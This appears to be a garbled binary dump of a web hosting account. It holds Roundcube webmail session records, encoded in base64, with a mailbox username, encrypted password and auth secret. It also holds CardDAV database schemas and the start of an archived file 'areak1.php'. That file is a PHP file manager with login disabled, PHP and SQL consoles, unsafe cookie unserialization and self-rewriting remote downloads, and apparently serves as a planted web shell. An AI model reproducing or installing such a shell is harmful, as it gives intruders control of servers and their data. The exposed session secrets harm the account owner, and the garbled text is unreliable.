UpoWVlUSER6aiI7cmVxdWVzdF90b2tlbnxzOjMyOiJDOTJpaFlXMlZ4QnpmMTl0MndydHR2c08yY1hSSjdBdSI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czoxMDoiSU5CT1guU2VudCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fXVuc2Vlbl9jb3VudHxhOjY6e3M6NToiSU5CT1giO2k6MTtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31TVE9SQUdFX0FDTHxiOjA7bGFzdF9jb21wb3NlX3Nlc3Npb258czoyMzoiMTE0NjM3MTA4MTY3ZWI2NzdhZGZlZDkiO2ZvbGRlcnN8YToyOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE7czo2OiJtYXh1aWQiO2k6MTt9czoxMDoiSU5CT1guU2VudCI7YToyOntzOjM6ImNudCI7aToxO3M6NjoibWF4dWlkIjtpOjE7fX1saXN0X21vZF9zZXF8czoxOiIyIjtTVE9SQUdFX1FSRVNZTkN8YjoxO2Jyb3dzZXJfY2Fwc3xhOjU6e3M6MzoicGRmIjtzOjE6IjEiO3M6NToiZmxhc2giO3M6MToiMCI7czo0OiJ0aWZmIjtzOjE6IjAiO3M6NDoid2VicCI7czoxOiIxIjtzOjc6InBncG1pbWUiO3M6MToiMCI7fXNhZmVfbWVzc2FnZXN8YToxOntzOjEyOiJJTkJPWC5TZW50OjEiO2I6MDt9d3JpdGVhYmxlX2Fib29rfGI6MTs=


;�~�
�
R��
	�	�	��g�D;hy��;v--�)tablecarddav_accountscarddav_accountsvCREATE TABLE "carddav_accounts" (
	id              integer NOT NULL PRIMARY KEY,
	accountname     TEXT NOT NULL,
	username        TEXT NOT NULL,
	password        TEXT NOT NULL,
	discovery_url   TEXT,
	user_id         integer NOT NULL,
	last_discovered BIGINT NOT NULL DEFAULT 0,  
	rediscover_time INT NOT NULL DEFAULT 86400, 

	presetname      TEXT, flags integer NOT NULL DEFAULT 0,                       

	UNIQUE(user_id,presetname),

	
	FOREIGN KEY(user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE
)�lx55�{tablecarddav_addressbookscarddav_addressbookssCREATE TABLE "carddav_addressbooks" (
	id           integer NOT NULL PRIMARY KEY,
	name         TEXT NOT NULL,
	url          TEXT NOT NULL,
	last_updated BIGINT NOT NULL DEFAULT 0,  
	refresh_time INT NOT NULL DEFAULT 3600, 
	sync_token   TEXT NOT NULL DEFAULT '', 

	account_id   integer NOT NULL,
	flags        integer NOT NULL DEFAULT 5, 

	
	FOREIGN KEY(account_id) REFERENCES carddav_accounts(id) ON DELETE CASCADE ON UPDATE CASCADE
)?wS-indexsqlite_autoindex_carddav_accounts_1carddav_accountsw�yS5�5indexcarddav_addressbooks_account_id_idxcarddav_addressbooks^CREATE INDEX carddav_addressbooks_account_id_idx ON carddav_addressbooks(account_id)CpW1indexsqlite_autoindex_carddav_migrations_1carddav_migrationsr�[o11�atablecarddav_migrationscarddav_migrationsmCREATE TABLE "carddav_migrations" (
	id integer NOT NULL PRIMARY KEY,
	filename TEXT NOT NULL,
	processed_at TIME NOT NULL DEFAULT CURRENT_TIMESTAMP,

	UNIQUE(filename)
)�
mK1�%indexcarddav_group_user_group_id_idxcarddav_group_userpCREATE INDEX carddav_group_user_group_id_idx ON carddav_group_user(group_id)�lO1�-indexcarddav_group_user_contact_id_idxcarddav_group_userjCREATE INDEX carddav_group_user_contact_id_idx ON carddav_group_user(contact_id)zkC)�indexcarddav_groups_abook_id_idxcarddav_groupsiCREATE INDEX carddav_groups_abook_id_idx ON carddav_groups(abook_id)�jI/�!indexcarddav_xsubtypes_abook_id_idxcarddav_xsubtypeshCREATE INDEX carddav_xsubtypes_abook_id_idx ON carddav_xsubtypes(abook_id);iO)indexsqlite_autoindex_carddav_groups_2carddav_groupso;hO)indexsqlite_autoindex_carddav_groups_1carddav_groupsn�g))�atablecarddav_groupscarddav_groups`CREATE TABLE "carddav_groups" (
	id       integer NOT NULL PRIMARY KEY,
	abook_id integer NOT NULL,
	name VARCHAR(255) NOT NULL, 
	vcard TEXT,        
	etag VARCHAR(255), 
	uri  VARCHAR(255), 
	cuid VARCHAR(255), 
	
	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)CeW1indexsqlite_autoindex_carddav_group_user_1carddav_group_userl�nd11�tablecarddav_group_usercarddav_group_userkCREATE TABLE carddav_group_user (
	group_id   integer NOT NULL,
	contact_id integer NOT NULL,

	PRIMARY KEY(group_id,contact_id),

	
	FOREIGN KEY(group_id) REFERENCES carddav_groups(id) ON DELETE CASCADE ON UPDATE CASCADE,
	FOREIGN KEY(contact_id) REFERENCES carddav_contacts(id) ON DELETE CASCADE ON UPDATE CASCADE
)A`U/indexsqlite_autoindex_carddav_xsubtypes_1carddav_xsubtypesg�a_//�qtablecarddav_xsubtypescarddav_xsubtypesfCREATE TABLE carddav_xsubtypes (
	id       integer NOT NULL PRIMARY KEY,
	typename VARCHAR(128) NOT NULL,  
	subtype  VARCHAR(128) NOT NULL,  
	abook_id integer NOT NULL,

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE,
	UNIQUE(typename,subtype,abook_id)
)�^G-�indexcarddav_contacts_abook_id_idxcarddav_contactseCREATE INDEX carddav_contacts_abook_id_idx ON carddav_contacts(abook_id)?]S-indexsqlite_autoindex_carddav_contacts_2carddav_contactsd?\S-indexsqlite_autoindex_carddav_contacts_1carddav_contactsc










���~H��|R!
�
�
�
E

��yK���(/30022-accountflags2025-06-23 13:39:34,730021-addressbookflags2025-06-23 13:39:34/=30020-distinctcolumnnames2025-06-23 13:39:34,730019-accountentities32025-06-23 13:39:34,730018-accountentities22025-06-23 13:39:34+530017-accountentities2025-06-23 13:39:344G30016-increasetextfieldlengths2025-04-01 04:11:31/=30015-fixmysqlconstraints2025-04-01 04:11:316K30014-unifytimestampdefaultvalue2025-04-01 04:11:31>[30013-changemysqlcollationscasesensitive2025-04-01 04:11:31/
=30012-fixmysqlconstraints2025-04-01 04:11:313E30011-unifymigrationsidcolumn2025-04-01 04:11:314G30010-increasetextfieldlengths2025-04-01 04:11:31/
=30009-dropauthschemefield2025-04-01 04:11:31(	/30008-unifyindexes2025-04-01 04:11:312C30007-replaceurlplaceholders2025-04-01 04:11:31+530006-rmgroupsnotnull2025-04-01 04:11:313E30005-changemysqlut8toutf8mb42025-04-01 04:11:314G30004-fixtimestampdefaultvalue2025-04-01 04:11:314G30003-fixtimestampdefaultvalue2025-04-01 04:11:314G30002-increasetextfieldlengths2025-04-01 04:11:31&+30001-categories2025-04-01 04:11:31"#30000-dbinit2025-04-01 04:11:31



���M3'�-d76366c4c2ba713bad44cc81636609e72025-05-05 16:08:39103.162.230.8bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoibGRNbis1K0JzVWFuMmF4SldxR2R5L3Q0eG9nekFueTFqUFRxTjE0QUhuYWliKzM0cTB2OEc4R2FiWjRmZjFqS3JmSFZqZ2F4NGVpbE9ZQ3dabi9nOFhHZnZhT1FqRFhvIjtsb2dpbl90aW1lfGk6MTc0NjQ2MDY5MjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ5RGFqSFU5V2RPMFYyR2ZDSWw5QnkxTUJHNUhJblRtVCI7cmVxdWVzdF90b2tlbnxzOjMyOiJjVDUzdlV0S2d2Zmd6OG1JSHNpaXNpSEh3WUJwMTBmdCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YTo1OntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjM7czo2OiJtYXh1aWQiO2k6Mzt9czoxMDoiSU5CT1guc3BhbSI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fXM6MTA6IklOQk9YLlNlbnQiO2E6Mjp7czozOiJjbnQiO2k6MTtzOjY6Im1heHVpZCI7aToxO31zOjEyOiJJTkJPWC5EcmFmdHMiO2E6Mjp7czozOiJjbnQiO2k6MDtzOjY6Im1heHVpZCI7aTowO31zOjExOiJJTkJPWC5UcmFzaCI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fX11bnNlZW5fY291bnR8YTo2OntzOjU6IklOQk9YIjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTA6IklOQk9YLlNlbnQiO2k6MDtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjExOiJJTkJPWC5UcmFzaCI7aTowO3M6MTM6IklOQk9YLkFyY2hpdmUiO2k6MDt9bGlzdF9tb2Rfc2VxfHM6MToiNSI7YnJvd3Nlcl9jYXBzfGE6NTp7czozOiJwZGYiO3M6MToiMSI7czo1OiJmbGFzaCI7czoxOiIwIjtzOjQ6InRpZmYiO3M6MToiMCI7czo0OiJ3ZWJwIjtzOjE6IjEiO3M6NzoicGdwbWltZSI7czoxOiIwIjt9c2FmZV9tZXNzYWdlc3xhOjM6e3M6NzoiSU5CT1g6MSI7YjowO3M6NzoiSU5CT1g6MyI7YjowO3M6NzoiSU5CT1g6MiI7YjowO313cml0ZWFibGVfYWJvb2t8YjoxO1NUT1JBR0VfQUNMfGI6MDtsYXN0X2NvbXBvc2Vfc2Vzc2lvbnxzOjIzOiIxMzEyODQ4ODg2NjgxOGUwNDEwM2E3NCI7

a����wV=����^:
�
�
�
�
�
w
a/0022-accountflags70021-addressbookflags=0020-distinctcolumnnames70019-accountentities370018-accountentities250017-accountentities!G0016-increasetextfieldlengths=0015-fixmysqlconstraints#K0014-unifytimestampdefaultvalue+[0013-changemysqlcollationscasesensitive=0012-fixmysqlconstraints
 E0011-unifymigrationsidcolumn!G0010-increasetextfieldlengths=0009-dropauthschemefield
/0008-unifyindexes	C0007-replaceurlplaceholders50006-rmgroupsnotnull E0005-changemysqlut8toutf8mb4!G0004-fixtimestampdefaultvalue!G0003-fixtimestampdefaultvalue!G0002-increasetextfieldlengths+0001-categories#	0000-dbinit
��z
)�/!	cPanel CardDAVhttps://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/addressbook/hYY1743480677xx^
~~�M3)�}a09415cd632064559ff511bf2f0571ea2025-06-23 17:22:04103.162.230.13bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoiaE1pSk5laVNkeGdZMnR0NFhYaHFKTllJTlN3S25UcUtjUGFEZWE0UEpFTjlCWWdpWnB5OXhoRlY3Z1BmZzN2d0Yxd05VcGdQcVZwbEZTcE1rR1Y0T0VCWS9ua2hKOVdsIjtsb2dpbl90aW1lfGk6MTc1MDY5Njg2NDtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJIbGJXTmdIMVZuOGhlN3ZNNkJvZGI5NlBWMkhjTVl5eCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1yZXF1ZXN0X3Rva2VufHM6MzI6IkZvTWt3YjNXMFVDR0xjeEVWN0U2bGwwc09STXJSQmdQIjtpbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YToxOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE3O3M6NjoibWF4dWlkIjtpOjE3O319dW5zZWVuX2NvdW50fGE6Njp7czo1OiJJTkJPWCI7aToxMjtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31saXN0X21vZF9zZXF8czoyOiIyMyI7
ff�)S�	cPanel CardDAV%l@%d{ENCRYPTED}2guHIFr6ZQnrlvJXZtFv6g==https://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/hYYQ�cPCardDAV
��
		cPCardDAVftpquota000064400000000000151075366460006335 0ustar00areak1.php000064400000227340151075366460006446 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/danielyzx123/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
